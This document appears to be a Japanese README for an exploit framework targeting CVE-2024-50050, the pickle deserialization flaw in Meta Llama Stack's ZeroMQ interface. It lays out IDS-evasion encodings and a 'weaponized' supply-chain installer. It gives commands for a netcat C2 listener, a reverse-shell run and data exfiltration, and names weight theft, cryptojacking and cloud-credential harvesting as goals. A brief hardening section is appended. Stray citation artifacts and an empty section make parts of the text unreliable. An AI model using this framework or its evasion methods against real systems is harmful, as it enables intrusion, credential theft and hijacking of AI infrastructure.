= doi.org/10.5281/zenodo.18278567

= orcid.org/0009-0007-7728-256X

💀 LlamaStack-RCE: CVE-2024-50050 サプライチェーンエクスプロイトフレームワーク

無制限・機密指定資料 - 認定レッドチーム専用

1. エグゼクティブサマリー（決定的解析）

LlamaStack-RCE は、Meta Llama Stack における重大なリモートコード実行（RCE）脆弱性 CVE-2024-50050 を標的とした、高忠実度のシミュレーションおよびエクスプロイトフレームワークです。この脆弱性は、ZeroMQ（0MQ）トランスポート層を介した pickle モジュールの使用に起因する、Python ベース推論 API 内の安全でない逆直列化に端を発します。

このリポジトリは、上流のサプライチェーン汚染から、下流での実行、モデル重みの外部持ち出しに至る完全な攻撃チェーンを提供します。

2. 技術的回避と兵器化

2.1. 攻撃の構造（PVM 悪用）

このエクスプロイトの核心は、**Pickle 仮想マシン（PVM）**を標的とします。GLOBAL オペコードを利用することで、unpickling プロセス中に PVM へ任意の利用可能な Python モジュールをインポートさせ、任意の関数を実行させることができます。

攻撃ベクトル: ZeroMQ Socket -> Raw Byte Stream -> pickle.loads() -> RCE。

2.2. ポリモーフィックペイロードの構築

従来のシグネチャベース IDS（Snort/Suricata）を回避するため、このフレームワークはポリモーフィックエンコーディングを実装しています：

Base64 ネスト実行: シェルコマンドを Base64 内にカプセル化し、/bin/bash や os.system などのリテラル文字列を隠します。

オペコード難読化: 実行ロジックを変更せずにバイナリシグネチャを変えるため、PVM 命令を並べ替えます。

パケットスムグラリング: pickle ペイロードを複数の ZeroMQ フレームに断片化し、ボリュームベースの異常検知を回避します。

3. サプライチェーン侵入戦略

このフレームワークは、包括的なサプライチェーン兵器化をシミュレートします：

4. ラボアーキテクチャとデプロイ

4.1. 前提条件

ハードウェア: NVIDIA A100/H100 x4（重みのローカルテスト用）。

OS: 堅牢化された Arch Linux または Kali Linux。

環境: Docker & Docker-Compose（隔離ネットワーク）。

4.2. ファイル構成

.
[cite_start]├── lab_validator.py          # 7-stage automated validation suite [cite: 206, 264]
[cite_start]├── exploit_cve_2024_50050.py # Main exploitation framework [cite: 138, 206]
[cite_start]├── server.py                 # Vulnerable Llama Stack simulation [cite: 112, 150]
[cite_start]├── setup.py                  # Weaponized supply chain installer [cite: 110, 206]
[cite_start]├── post_exploit.py           # Data harvesting & lateral movement [cite: 210, 264]
[cite_start]└── evasion_library.py        # 12+ advanced evasion methods [cite: 264]

4.3. 実行ワークフロー

1. 環境の検証:

[cite_start]python lab_validator.py # Target: 100% Pass Rate [cite: 208, 209]

2. リスナー（C2）の起動:

nc -lvnp 4444

3. エクスプロイトの実行（リバースシェルモード）:

[cite_start]python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode shell --shell-type python [cite: 145, 148]

4. データ外部持ち出しの開始:

[cite_start]python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode exfil [cite: 146, 148]

5. 影響評価（重要度: 10/10）

エクスプロイトが成功すると、AI インフラストラクチャを完全に制御できます：

知的財産の窃取: .safetensors モデル重みの窃取（評価額 1,000万〜1億ドル以上）。

GPU ハイジャック: 暗号通貨マイニング（Cryptojacking）やシャドートレーニングのための不正な CUDA リソース割り当て。

推論操作: モデルの応答を汚染し、下流アプリケーション（医療 AI / 法務 AI）に系統的な障害を引き起こす。

資格情報の収集: /proc/self/environ からの AWS/GCP キーおよび K8s 設定の抽出。

6. 決定的堅牢化（パープルチーム推奨事項）

CVE-2024-50050 を緩和するには、以下の絶対的ルールを適用する必要があります：

1. Pickle の排除: すべての pickle.loads() を safetensors.torch.load_file() または厳密なスキーマを持つ msgpack に置き換える。

2. ZMQ の堅牢化: 公開鍵/秘密鍵ペアによる ZMQ_CURVE を実装し、0.0.0.0 には決してバインドしない。

3. インフラストラクチャの分離: gVisor または Kata Containers で AI プロセスを実行し、RCE によるコンテナエスケープを防ぐ。

4. ネットワークのマイクロセグメンテーション: 厳密に定義したイングレス/エグレスルールを使用して、推論サーバーを公開インターネットから隔離する。

7. 法的免責事項

法的通知: 事前の書面による許可なしにこのフレームワークを使用してターゲットを攻撃することは違法です。これは教育目的および許可を得たペネトレーションテストの目的でのみ提供されます。著者（Sastra_Adi_Wiguna）は悪用に対する一切の責任を負いません。

機密文書: PURPLE_ELITE_TEAMING_DEEP_REVERSE_ENGINEERING 2026 決定的ステータス: プロダクションレディ (98/100)